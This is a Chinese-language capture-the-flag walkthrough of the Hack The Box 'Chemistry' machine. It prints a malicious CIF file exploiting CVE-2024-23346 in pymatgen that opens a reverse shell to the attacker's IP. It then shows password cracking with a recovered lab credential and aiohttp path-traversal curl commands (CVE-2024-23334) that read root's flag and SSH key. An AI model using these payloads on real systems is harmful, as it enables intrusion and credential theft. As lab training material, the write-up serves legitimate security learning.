Chemistry
https://app.hackthebox.com/machines/Chemistry
受害者ip:10.10.11.38
攻击者ip:10.10.16.22
参考:https://medium.com/@ievgenii.miagkov/htb-chemistry-a428acbf0781
https://www.hyhforever.top/htb-chemistry/
端口扫描,开放22和5000端口
CIF 文件通常指的是 Crystallographic Information File(晶体学信息文件)。它是一个标准格式,用于存储和交换与晶体学和分子结构相关的数据,特别是在 X 射线晶体学和核磁共振(NMR)研究中。这种文件格式可以包含晶体的空间群、原子位置、对称性、晶格参数等信息。
有注册口和登录口
经测试登录口和注册口并不存在在sql注入,上传点只能上传cif文件,目录扫描也没有其他隐藏的功能点
似乎只能从cif文件入手
信息收集
通过搜索示范文件的头部data_Example和关键词cif cve找到了编号CVE-2024-23346
根据搜索编号CVE-2024-23346获得更多此漏洞的细节
https://www.vicarius.io/vsociety/posts/critical-security-flaw-in-pymatgen-library-cve-2024-23346
from pymatgen.io.cif import CifParser# 导入CIF文件解析器 parser = CifParser("vuln.cif")# 用CifParser打开CIF文件 structure = parser.parse_structures()# 解析CIF文件中的结构数据
使用poc来获取他的shell
https://github.com/9carlo6/CVE-2024-23346
https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f
data_Example _cell_length_a10.00000 _cell_length_b10.00000 _cell_length_c10.00000 _cell_angle_alpha 90.00000 _cell_angle_beta90.00000 _cell_angle_gamma 90.00000 _symmetry_space_group_name_H-M 'P 1' loop_ _atom_site_label _atom_site_fract_x _atom_site_fract_y _atom_site_fract_z _atom_site_occupancy H 0.00000 0.00000 0.00000 1 O 0.50000 0.50000 0.50000 1 _space_group_magn.transform_BNS_Pp_abc'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c 'sh -i >& /dev/tcp/10.10.16.22/1111 0>&1'");0,0,0' _space_group_magn.number_BNS62.448 _space_group_magn.name_BNS"Pn'ma'"
点击view让他解析包含恶意代码的vif文件
获得app的shell
/home/instance/database.db找到sqlite的数据库文件
找到rosa的密码
md5解密获得rose密码
rosa:unicorniosrosados
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=raw-md5
ssh登录rosa
查看端口发现的8080端口开放
netstat -tuln
将8080端口转发到本地
ssh [email protected] -L 8080:localhost:8080
这里只有列表服务是能打开的
发现返回包有一段Python/3.9 aiohttp/3.9.1
aiohttp 是一个基于 asyncio 实现的 Python HTTP 客户端和服务器框架。它提供了异步的 HTTP 客户端和服务器功能,能够处理高并发的网络请求。
直接使用CVE-2024-23334 的poc:
curl -s --path-as-is "http://127.0.0.1:8080/static/../../../../../root/root.txt"
没有static的目录,扫一下目录是assets
curl -s --path-as-is "http://127.0.0.1:8080/asset/../../../../../root/root.txt" --path-as-is 的作用:强制 curl 不规范化路径,从而保留路径中的 ../。 常规情况下,HTTP 客户端(包括浏览器)会对路径进行规范化解析,将类似 ../ 的部分移除。 通过加入 --path-as-is,可以保留原始路径,尝试触发未正确处理路径的漏洞。
读取root的id_rsa,然后ssh登录root
curl--path-as-is "http://127.0.0.1:8080/assets/../../../../../root/.ssh/id_rsa" chmod 600 id_rsa ssh -i id_rsa [email protected]
原文始发于微信公众号(王之暴龙战神):Chemistry
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论